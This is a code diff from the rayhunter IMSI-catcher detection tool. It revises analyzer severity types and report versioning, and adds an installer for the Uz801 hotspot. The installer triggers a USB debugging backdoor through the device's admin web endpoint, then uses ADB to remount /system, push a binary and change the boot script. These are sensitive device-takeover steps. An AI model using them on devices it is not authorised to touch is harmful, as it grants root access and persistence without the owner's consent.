||||
println!("ok");
|
||||
Ok(())
|
||||
}
|
||||
@@ -100,7 +163,7 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23"))
|
||||
.with_context(|| format!("Invalid IP address: {admin_ip}"))?;
|
||||
|
||||
telnet_send_file(addr, remote_path, &file_content)
|
||||
telnet_send_file(addr, remote_path, &file_content, true)
|
||||
.await
|
||||
.with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?;
|
||||
|
||||
|
||||
@@ -0,0 +1,239 @@
|
||||
use std::io::Write;
|
||||
use std::path::Path;
|
||||
/// Installer for the Uz801 hotspot.
|
||||
///
|
||||
/// Installation process:
|
||||
/// 1. Use curl to activate USB debugging backdoor
|
||||
/// 2. Wait for device reboot and ADB availability
|
||||
/// 3. Use ADB to install rayhunter files
|
||||
/// 4. Modify startup script to launch rayhunter on boot
|
||||
use std::time::Duration;
|
||||
|
||||
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
|
||||
use anyhow::{Result, anyhow};
|
||||
use md5::compute as md5_compute;
|
||||
use tokio::time::sleep;
|
||||
|
||||
use crate::Uz801Args as Args;
|
||||
use crate::util::echo;
|
||||
|
||||
pub async fn install(Args { admin_ip }: Args) -> Result<()> {
|
||||
run_install(admin_ip).await
|
||||
}
|
||||
|
||||
async fn run_install(admin_ip: String) -> Result<()> {
|
||||
echo!("Activating USB debugging backdoor... ");
|
||||
activate_usb_debug(&admin_ip).await?;
|
||||
println!("ok");
|
||||
|
||||
echo!("Waiting for device reboot and ADB connection... ");
|
||||
let mut adb_device = wait_for_adb().await?;
|
||||
println!("ok");
|
||||
|
||||
echo!("Installing rayhunter files... ");
|
||||
install_rayhunter_files(&mut adb_device).await?;
|
||||
println!("ok");
|
||||
|
||||
echo!("Modifying startup script... ");
|
||||
modify_startup_script(&mut adb_device).await?;
|
||||
println!("ok");
|
||||
|
||||
echo!("Rebooting the device... ");
|
||||
let _ = adb_device.reboot(adb_client::RebootType::System);
|
||||
println!("ok");
|
||||
|
||||
println!("Installation complete!");
|
||||
println!("Please wait for the device to reboot (light will turn green)");
|
||||
println!("Then access rayhunter at: http://{admin_ip}:8080");
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn activate_usb_debug(admin_ip: &str) -> Result<()> {
|
||||
let url = format!("http://{admin_ip}/ajax");
|
||||
let referer = format!("http://{admin_ip}/usbdebug.html");
|
||||
let origin = format!("http://{admin_ip}");
|
||||
|
||||
let _handle = tokio::spawn(async move {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()
|
||||
.unwrap();
|
||||
|
||||
let _response = client
|
||||
.post(&url)
|
||||
.header("Accept", "application/json, text/javascript, */*; q=0.01")
|
||||
.header("Accept-Encoding", "gzip, deflate")
|
||||
.header("Referer", &referer)
|
||||
.header(
|
||||
"Content-Type",
|
||||
"application/x-www-form-urlencoded; charset=UTF-8",
|
||||
)
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.header("Origin", &origin)
|
||||
.body(r#"{"funcNo":2001}"#)
|
||||
.send()
|
||||
.await;
|
||||
// Ignore any errors - the device will reboot and connection will be lost
|
||||
});
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn wait_for_adb() -> Result<ADBUSBDevice> {
|
||||
const MAX_ATTEMPTS: u32 = 30; // 30 seconds
|
||||
let mut attempts = 0;
|
||||
|
||||
// Wait a bit for the reboot to start
|
||||
sleep(Duration::from_secs(10)).await;
|
||||
|
||||
loop {
|
||||
if attempts >= MAX_ATTEMPTS {
|
||||
anyhow::bail!("Timeout waiting for ADB connection after USB debug activation");
|
||||
}
|
||||
|
||||
// UZ801 USB vendor and product IDs.
|
||||
// TODO: Research if other variants use different IDs.
|
||||
match ADBUSBDevice::new(0x05c6, 0x90b6) {
|
||||
Ok(mut device) => {
|
||||
// Test ADB connection
|
||||
if test_adb_connection(&mut device).await.is_ok() {
|
||||
return Ok(device);
|
||||
}
|
||||
}
|
||||
Err(RustADBError::DeviceNotFound(_)) => {
|
||||
// Device not ready yet, continue waiting
|
||||
}
|
||||
Err(e) => {
|
||||
anyhow::bail!("ADB connection error: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
attempts += 1;
|
||||
}
|
||||
}
|
||||
|
||||
async fn test_adb_connection(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(&["echo", "test"], &mut buf)?;
|
||||
let output = String::from_utf8_lossy(&buf);
|
||||
if output.contains("test") {
|
||||
Ok(())
|
||||
} else {
|
||||
anyhow::bail!("ADB connection test failed")
|
||||
}
|
||||
}
|
||||
|
||||
async fn install_rayhunter_files(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
// Create rayhunter directory
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(&["mkdir", "-p", "/data/rayhunter"], &mut buf)?;
|
||||
|
||||
// Remount system as writable
|
||||
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
|
||||
|
||||
// Install rayhunter daemon binary with verification
|
||||
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
|
||||
install_file(
|
||||
adb_device,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
)?;
|
||||
|
||||
// Install config file
|
||||
let config_content = crate::CONFIG_TOML.replace("#device = \"orbic\"", "device = \"uz801\"");
|
||||
let mut config_data = config_content.as_bytes();
|
||||
adb_device.push(&mut config_data, &"/data/rayhunter/config.toml")?;
|
||||
|
||||
// Make daemon executable
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(
|
||||
&["chmod", "755", "/data/rayhunter/rayhunter-daemon"],
|
||||
&mut buf,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Transfer a file to the device's filesystem with adb push.
|
||||
/// Validates the file sends successfully to /data/local/tmp
|
||||
/// before overwriting the destination.
|
||||
fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
|
||||
const MAX_RETRIES: u32 = 3;
|
||||
|
||||
let file_name = Path::new(dest)
|
||||
.file_name()
|
||||
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
|
||||
.to_str()
|
||||
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
|
||||
.to_owned();
|
||||
let push_tmp_path = format!("/data/local/tmp/{file_name}");
|
||||
let file_hash = md5_compute(payload);
|
||||
|
||||
for attempt in 1..=MAX_RETRIES {
|
||||
// Push the file
|
||||
let mut payload_copy = payload;
|
||||
if let Err(e) = adb_device.push(&mut payload_copy, &push_tmp_path) {
|
||||
if attempt == MAX_RETRIES {
|
||||
return Err(e.into());
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
// Verify with md5sum
|
||||
let mut buf = Vec::<u8>::new();
|
||||
if adb_device
|
||||
.shell_command(&["busybox", "md5sum", &push_tmp_path], &mut buf)
|
||||
.is_ok()
|
||||
{
|
||||
let output = String::from_utf8_lossy(&buf);
|
||||
if output.contains(&format!("{file_hash:x}")) {
|
||||
// Verification successful, move to final destination
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(&["mv", &push_tmp_path, dest], &mut buf)?;
|
||||
println!("ok");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// Verification failed, clean up and retry
|
||||
if attempt < MAX_RETRIES {
|
||||
println!("MD5 verification failed on attempt {attempt}, retrying...");
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device
|
||||
.shell_command(&["rm", "-f", &push_tmp_path], &mut buf)
|
||||
.ok();
|
||||
}
|
||||
}
|
||||
|
||||
anyhow::bail!("MD5 verification failed for {dest} after {MAX_RETRIES} attempts")
|
||||
}
|
||||
|
||||
async fn modify_startup_script(adb_device: &mut ADBUSBDevice) -> Result<()> {
|
||||
// Pull the existing startup script
|
||||
let mut script_content = Vec::<u8>::new();
|
||||
adb_device.pull(&"/system/bin/initmifiservice.sh", &mut script_content)?;
|
||||
|
||||
// Convert to string and add our line
|
||||
let mut script_str = String::from_utf8_lossy(&script_content).into_owned();
|
||||
|
||||
// Add rayhunter startup line if not already present
|
||||
let rayhunter_line = "/data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml &\n";
|
||||
if !script_str.contains("/data/rayhunter/rayhunter-daemon") {
|
||||
script_str.push_str(rayhunter_line);
|
||||
}
|
||||
|
||||
// Push the modified script back
|
||||
let mut modified_script = script_str.as_bytes();
|
||||
adb_device.push(&mut modified_script, &"/system/bin/initmifiservice.sh")?;
|
||||
|
||||
// Make sure it's executable
|
||||
let mut buf = Vec::<u8>::new();
|
||||
adb_device.shell_command(
|
||||
&["chmod", "755", "/system/bin/initmifiservice.sh"],
|
||||
&mut buf,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -95,7 +95,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
||||
|
||||
echo!("Connecting via telnet to {admin_ip} ... ");
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
|
||||
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?;
|
||||
println!("ok");
|
||||
|
||||
telnet_send_file(
|
||||
@@ -104,6 +104,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
||||
crate::CONFIG_TOML
|
||||
.replace("#device = \"orbic\"", "device = \"wingtech\"")
|
||||
.as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
|
||||
@@ -112,30 +113,40 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
|
||||
addr,
|
||||
"/data/rayhunter/rayhunter-daemon",
|
||||
rayhunter_daemon_bin,
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /data/rayhunter/rayhunter-daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_file(
|
||||
addr,
|
||||
"/etc/init.d/rayhunter_daemon",
|
||||
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"chmod 755 /etc/init.d/rayhunter_daemon",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
"update-rc.d rayhunter_daemon defaults",
|
||||
"exit code 0",
|
||||
true,
|
||||
)
|
||||
.await?;
|
||||
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
|
||||
|
||||
println!("Rebooting device and waiting 30 seconds for it to start up.");
|
||||
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0").await?;
|
||||
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?;
|
||||
sleep(Duration::from_secs(30)).await;
|
||||
|
||||
echo!("Testing rayhunter ... ");
|
||||
|
||||
+5
-2
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.5.1"
|
||||
version = "0.7.1"
|
||||
edition = "2024"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
@@ -21,7 +21,10 @@ pcap-file-tokio = "0.1.0"
|
||||
pycrate-rs = { git = "https://github.com/EFForg/pycrate-rs" }
|
||||
thiserror = "1.0.50"
|
||||
telcom-parser = { path = "../telcom-parser" }
|
||||
tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros"] }
|
||||
tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros", "fs"] }
|
||||
futures = { version = "0.3.30", default-features = false }
|
||||
serde = { version = "1.0.197", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
num_enum = "0.7.4"
|
||||
|
||||
[dev-dependencies]
|
||||
|
||||
+271
-32
@@ -12,6 +12,7 @@ use super::{
|
||||
imsi_requested::ImsiRequestedAnalyzer, incomplete_sib::IncompleteSibAnalyzer,
|
||||
information_element::InformationElement, nas_null_cipher::NasNullCipherAnalyzer,
|
||||
null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
|
||||
test_analyzer::TestAnalyzer,
|
||||
};
|
||||
|
||||
#[derive(Debug, Clone, Deserialize, Serialize)]
|
||||
@@ -23,6 +24,7 @@ pub struct AnalyzerConfig {
|
||||
pub null_cipher: bool,
|
||||
pub nas_null_cipher: bool,
|
||||
pub incomplete_sib: bool,
|
||||
pub test_analyzer: bool,
|
||||
}
|
||||
|
||||
impl Default for AnalyzerConfig {
|
||||
@@ -34,37 +36,70 @@ impl Default for AnalyzerConfig {
|
||||
null_cipher: true,
|
||||
nas_null_cipher: true,
|
||||
incomplete_sib: true,
|
||||
test_analyzer: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub const REPORT_VERSION: u32 = 2;
|
||||
|
||||
/// Qualitative measure of how severe a Warning event type is.
|
||||
/// The levels should break down like this:
|
||||
/// * Low: if combined with a large number of other Warnings, user should investigate
|
||||
/// * Medium: if combined with a few other Warnings, user should investigate
|
||||
/// * High: user should investigate
|
||||
#[derive(Serialize, Debug, Clone)]
|
||||
pub enum Severity {
|
||||
Low,
|
||||
Medium,
|
||||
High,
|
||||
/// The severity level of an event.
|
||||
///
|
||||
/// Informational does not result in any alert on the display.
|
||||
#[derive(Serialize, Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
|
||||
pub enum EventType {
|
||||
Informational = 0,
|
||||
Low = 1,
|
||||
Medium = 2,
|
||||
High = 3,
|
||||
}
|
||||
|
||||
/// `QualitativeWarning` events will always be shown to the user in some manner,
|
||||
/// while `Informational` ones may be hidden based on user settings.
|
||||
#[derive(Serialize, Debug, Clone)]
|
||||
#[serde(tag = "type")]
|
||||
pub enum EventType {
|
||||
Informational,
|
||||
QualitativeWarning { severity: Severity },
|
||||
impl<'de> Deserialize<'de> for EventType {
|
||||
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
|
||||
where
|
||||
D: serde::Deserializer<'de>,
|
||||
{
|
||||
use serde::de::Error;
|
||||
|
||||
#[derive(Deserialize)]
|
||||
#[serde(tag = "type")]
|
||||
enum OldEventType {
|
||||
QualitativeWarning { severity: String },
|
||||
Informational,
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
#[serde(untagged)]
|
||||
enum EventTypeHelper {
|
||||
New(String),
|
||||
Old(OldEventType),
|
||||
}
|
||||
|
||||
match EventTypeHelper::deserialize(deserializer)? {
|
||||
EventTypeHelper::New(s) => match s.as_str() {
|
||||
"Informational" => Ok(EventType::Informational),
|
||||
"Low" => Ok(EventType::Low),
|
||||
"Medium" => Ok(EventType::Medium),
|
||||
"High" => Ok(EventType::High),
|
||||
_ => Err(D::Error::custom(format!("unknown EventType: {s}"))),
|
||||
},
|
||||
EventTypeHelper::Old(old) => match old {
|
||||
OldEventType::Informational => Ok(EventType::Informational),
|
||||
OldEventType::QualitativeWarning { severity } => match severity.as_str() {
|
||||
"Low" => Ok(EventType::Low),
|
||||
"Medium" => Ok(EventType::Medium),
|
||||
"High" => Ok(EventType::High),
|
||||
_ => Err(D::Error::custom(format!("unknown severity: {severity}"))),
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Events are user-facing signals that can be emitted by an [Analyzer] upon a
|
||||
/// message being received. They can be used to signifiy an IC detection
|
||||
/// warning, or just to display some relevant information to the user.
|
||||
#[derive(Serialize, Debug, Clone)]
|
||||
#[derive(Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct Event {
|
||||
pub event_type: EventType,
|
||||
pub message: String,
|
||||
@@ -76,20 +111,24 @@ pub struct Event {
|
||||
/// many hours at a time with dozens of [Analyzers](Analyzer) working in parallel.
|
||||
pub trait Analyzer {
|
||||
/// Returns a user-friendly, concise name for your heuristic.
|
||||
fn get_name(&self) -> Cow<str>;
|
||||
fn get_name(&self) -> Cow<'_, str>;
|
||||
|
||||
/// Returns a user-friendly description of what your heuristic looks for,
|
||||
/// the types of [Events](Event) it may return, as well as possible false-positive
|
||||
/// conditions that may trigger an [Event]. If different [Events](Event) have
|
||||
/// different false-positive conditions, consider including them in its
|
||||
/// `message` field.
|
||||
fn get_description(&self) -> Cow<str>;
|
||||
fn get_description(&self) -> Cow<'_, str>;
|
||||
|
||||
/// Analyze a single [InformationElement], possibly returning an [Event] if your
|
||||
/// heuristic deems it relevant. Again, be mindful of any state your
|
||||
/// [Analyzer] updates per message, since it may be run over hundreds or
|
||||
/// thousands of them alongside many other [Analyzers](Analyzer).
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event>;
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
packet_num: usize,
|
||||
) -> Option<Event>;
|
||||
|
||||
/// Returns a version number for this Analyzer. This should only ever
|
||||
/// increase in value, and do so whenever substantial changes are made to
|
||||
@@ -97,21 +136,77 @@ pub trait Analyzer {
|
||||
fn get_version(&self) -> u32;
|
||||
}
|
||||
|
||||
#[derive(Serialize, Debug)]
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
pub struct AnalyzerMetadata {
|
||||
pub name: String,
|
||||
pub description: String,
|
||||
pub version: u32,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Debug)]
|
||||
#[derive(Serialize, Deserialize, Debug)]
|
||||
#[serde(default)]
|
||||
#[derive(Default)]
|
||||
pub struct ReportMetadata {
|
||||
pub analyzers: Vec<AnalyzerMetadata>,
|
||||
pub rayhunter: RuntimeMetadata,
|
||||
|
||||
// anytime the format of the report changes, bump this by 1
|
||||
//
|
||||
// the default is 0. we consider our legacy (unversioned) heuristics to be v0 -- this'll let us
|
||||
// clearly differentiate some known false-positive-results from the pre-versioned era from v1
|
||||
// heuristics
|
||||
pub report_version: u32,
|
||||
}
|
||||
|
||||
impl ReportMetadata {
|
||||
/// Normalize the report metadata to the current version
|
||||
pub fn normalize(&mut self) {
|
||||
self.report_version = REPORT_VERSION;
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalizer for analysis report lines that maintains state internally.
|
||||
/// The first line is expected to be ReportMetadata, and subsequent lines
|
||||
/// are expected to be AnalysisRow entries.
|
||||
pub struct AnalysisLineNormalizer {
|
||||
is_first: bool,
|
||||
}
|
||||
|
||||
impl Default for AnalysisLineNormalizer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl AnalysisLineNormalizer {
|
||||
pub fn new() -> Self {
|
||||
Self { is_first: true }
|
||||
}
|
||||
|
||||
/// Normalize a single line from an analysis report.
|
||||
/// Returns the normalized JSON string with a newline appended.
|
||||
pub fn normalize_line(&mut self, line: String) -> String {
|
||||
if self.is_first {
|
||||
self.is_first = false;
|
||||
// the first line is the report metadata. we overwrite the report version there to
|
||||
// latest, because the output of the remaining lines will follow latest versions
|
||||
if let Ok(mut metadata) = serde_json::from_str::<ReportMetadata>(&line) {
|
||||
metadata.normalize();
|
||||
serde_json::to_string(&metadata).unwrap_or(line) + "\n"
|
||||
} else {
|
||||
line + "\n"
|
||||
}
|
||||
} else {
|
||||
// Remaining lines are AnalysisRow, roundtrip them through serde to normalize them.
|
||||
if let Ok(row) = serde_json::from_str::<AnalysisRow>(&line) {
|
||||
serde_json::to_string(&row).unwrap_or(line) + "\n"
|
||||
} else {
|
||||
line + "\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Serialize, Debug)]
|
||||
pub struct AnalysisRow {
|
||||
pub packet_timestamp: Option<DateTime<FixedOffset>>,
|
||||
@@ -125,17 +220,87 @@ impl AnalysisRow {
|
||||
}
|
||||
|
||||
pub fn contains_warnings(&self) -> bool {
|
||||
for event in self.events.iter().flatten() {
|
||||
if matches!(event.event_type, EventType::QualitativeWarning { .. }) {
|
||||
return true;
|
||||
}
|
||||
self.get_max_event_type() != EventType::Informational
|
||||
}
|
||||
|
||||
pub fn get_max_event_type(&self) -> EventType {
|
||||
self.events
|
||||
.iter()
|
||||
.flatten()
|
||||
.map(|event| event.event_type)
|
||||
.max()
|
||||
.unwrap_or(EventType::Informational)
|
||||
}
|
||||
}
|
||||
|
||||
impl<'de> Deserialize<'de> for AnalysisRow {
|
||||
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
|
||||
where
|
||||
D: serde::Deserializer<'de>,
|
||||
{
|
||||
use serde::de::Error;
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct V1AnalysisEntry {
|
||||
timestamp: DateTime<FixedOffset>,
|
||||
events: Vec<Option<Event>>,
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct V1Format {
|
||||
timestamp: DateTime<FixedOffset>,
|
||||
skipped_message_reasons: Vec<String>,
|
||||
analysis: Vec<V1AnalysisEntry>,
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
struct V2Format {
|
||||
packet_timestamp: Option<DateTime<FixedOffset>>,
|
||||
skipped_message_reason: Option<String>,
|
||||
events: Vec<Option<Event>>,
|
||||
}
|
||||
|
||||
#[derive(Deserialize)]
|
||||
#[serde(untagged)]
|
||||
enum RowFormat {
|
||||
V1(V1Format),
|
||||
V2(V2Format),
|
||||
}
|
||||
|
||||
match RowFormat::deserialize(deserializer)? {
|
||||
RowFormat::V1(v1) => {
|
||||
// For v1 format, we can only deserialize the first non-skipped analysis entry
|
||||
// The caller needs to handle multiple rows differently for v1
|
||||
if let Some(first_analysis) = v1.analysis.first() {
|
||||
Ok(AnalysisRow {
|
||||
packet_timestamp: Some(first_analysis.timestamp),
|
||||
skipped_message_reason: None,
|
||||
events: first_analysis.events.clone(),
|
||||
})
|
||||
} else if let Some(first_reason) = v1.skipped_message_reasons.first() {
|
||||
Ok(AnalysisRow {
|
||||
packet_timestamp: Some(v1.timestamp),
|
||||
skipped_message_reason: Some(first_reason.clone()),
|
||||
events: Vec::new(),
|
||||
})
|
||||
} else {
|
||||
Err(D::Error::custom(
|
||||
"V1 format has no analysis entries or skipped reasons",
|
||||
))
|
||||
}
|
||||
}
|
||||
RowFormat::V2(v2) => Ok(AnalysisRow {
|
||||
packet_timestamp: v2.packet_timestamp,
|
||||
skipped_message_reason: v2.skipped_message_reason,
|
||||
events: v2.events,
|
||||
}),
|
||||
}
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
pub struct Harness {
|
||||
analyzers: Vec<Box<dyn Analyzer + Send>>,
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for Harness {
|
||||
@@ -148,6 +313,7 @@ impl Harness {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
analyzers: Vec::new(),
|
||||
packet_num: 0,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -168,11 +334,15 @@ impl Harness {
|
||||
}
|
||||
|
||||
if analyzer_config.nas_null_cipher {
|
||||
harness.add_analyzer(Box::new(NasNullCipherAnalyzer::new()))
|
||||
harness.add_analyzer(Box::new(NasNullCipherAnalyzer {}))
|
||||
}
|
||||
|
||||
if analyzer_config.incomplete_sib {
|
||||
harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new()))
|
||||
harness.add_analyzer(Box::new(IncompleteSibAnalyzer {}))
|
||||
}
|
||||
|
||||
if analyzer_config.test_analyzer {
|
||||
harness.add_analyzer(Box::new(TestAnalyzer {}))
|
||||
}
|
||||
|
||||
harness
|
||||
@@ -183,6 +353,8 @@ impl Harness {
|
||||
}
|
||||
|
||||
pub fn analyze_pcap_packet(&mut self, packet: EnhancedPacketBlock) -> AnalysisRow {
|
||||
self.packet_num += 1;
|
||||
|
||||
let epoch = DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap();
|
||||
let mut row = AnalysisRow {
|
||||
packet_timestamp: Some(epoch + packet.timestamp),
|
||||
@@ -219,6 +391,8 @@ impl Harness {
|
||||
pub fn analyze_qmdl_messages(&mut self, container: MessagesContainer) -> Vec<AnalysisRow> {
|
||||
let mut rows = Vec::new();
|
||||
for maybe_qmdl_message in container.into_messages() {
|
||||
self.packet_num += 1;
|
||||
|
||||
rows.push(AnalysisRow {
|
||||
packet_timestamp: None,
|
||||
skipped_message_reason: None,
|
||||
@@ -260,10 +434,21 @@ impl Harness {
|
||||
rows
|
||||
}
|
||||
|
||||
pub fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> {
|
||||
// This method is private because incrementing packet_num is currently handled entirely by the other
|
||||
// methods that call this one. This could be changed with some careful refactoring, but
|
||||
// while this method is only used by other Harness methods, let's keep it private to help
|
||||
// ensure we always bump packet_num exactly once for each processed packet.
|
||||
let packet_str = format!(" (packet {})", self.packet_num);
|
||||
self.analyzers
|
||||
.iter_mut()
|
||||
.map(|analyzer| analyzer.analyze_information_element(ie))
|
||||
.map(|analyzer| {
|
||||
let mut maybe_event = analyzer.analyze_information_element(ie, self.packet_num);
|
||||
if let Some(ref mut event) = maybe_event {
|
||||
event.message.push_str(&packet_str);
|
||||
}
|
||||
maybe_event
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
@@ -286,3 +471,57 @@ impl Harness {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use serde_json::json;
|
||||
|
||||
#[test]
|
||||
fn test_analysis_row_deserialize_old_format() {
|
||||
let row: AnalysisRow = serde_json::from_value(json!({
|
||||
"packet_timestamp": "2023-01-01T00:00:00+00:00",
|
||||
"skipped_message_reason": null,
|
||||
"events": [
|
||||
{
|
||||
"event_type": { "type": "QualitativeWarning", "severity": "High" },
|
||||
"message": "Test warning"
|
||||
},
|
||||
{
|
||||
"event_type": { "type": "Informational" },
|
||||
"message": "Test info"
|
||||
},
|
||||
null
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
|
||||
assert_eq!(
|
||||
row.events[1].as_ref().unwrap().event_type,
|
||||
EventType::Informational
|
||||
);
|
||||
assert!(row.events[2].is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_analysis_row_deserialize_new_format() {
|
||||
let row: AnalysisRow = serde_json::from_value(json!({
|
||||
"packet_timestamp": "2023-01-01T00:00:00+00:00",
|
||||
"skipped_message_reason": null,
|
||||
"events": [
|
||||
{ "event_type": "High", "message": "Test warning" },
|
||||
{ "event_type": "Informational", "message": "Test info" },
|
||||
null
|
||||
]
|
||||
}))
|
||||
.unwrap();
|
||||
|
||||
assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
|
||||
assert_eq!(
|
||||
row.events[1].as_ref().unwrap().event_type,
|
||||
EventType::Informational
|
||||
);
|
||||
assert!(row.events[2].is_none());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,8 +1,7 @@
|
||||
use std::borrow::Cow;
|
||||
|
||||
use super::analyzer::{Analyzer, Event, EventType, Severity};
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
use super::util::unpack;
|
||||
use telcom_parser::lte_rrc::{
|
||||
DL_DCCH_MessageType, DL_DCCH_MessageType_c1, RRCConnectionReleaseCriticalExtensions,
|
||||
RRCConnectionReleaseCriticalExtensions_c1, RedirectedCarrierInfo,
|
||||
@@ -14,11 +13,11 @@ pub struct ConnectionRedirect2GDowngradeAnalyzer {}
|
||||
|
||||
// TODO: keep track of SIB state to compare LTE reselection blocks w/ 2g/3g ones
|
||||
impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
|
||||
fn get_name(&self) -> Cow<str> {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
Cow::from("Connection Release/Redirected Carrier 2G Downgrade")
|
||||
}
|
||||
|
||||
fn get_description(&self) -> Cow<str> {
|
||||
fn get_description(&self) -> Cow<'_, str> {
|
||||
Cow::from("Tests if a cell releases our connection and redirects us to a 2G cell.")
|
||||
}
|
||||
|
||||
@@ -26,28 +25,31 @@ impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
unpack!(InformationElement::LTE(lte_ie) = ie);
|
||||
let message = match &**lte_ie {
|
||||
LteInformationElement::DlDcch(msg_cont) => &msg_cont.message,
|
||||
_ => return None,
|
||||
};
|
||||
unpack!(DL_DCCH_MessageType::C1(c1) = message);
|
||||
unpack!(DL_DCCH_MessageType_c1::RrcConnectionRelease(release) = c1);
|
||||
unpack!(RRCConnectionReleaseCriticalExtensions::C1(c1) = &release.critical_extensions);
|
||||
unpack!(RRCConnectionReleaseCriticalExtensions_c1::RrcConnectionRelease_r8(r8_ies) = c1);
|
||||
unpack!(Some(carrier_info) = &r8_ies.redirected_carrier_info);
|
||||
match carrier_info {
|
||||
RedirectedCarrierInfo::Geran(_carrier_freqs_geran) => Some(Event {
|
||||
event_type: EventType::QualitativeWarning {
|
||||
severity: Severity::High,
|
||||
},
|
||||
message: "Detected 2G downgrade".to_owned(),
|
||||
}),
|
||||
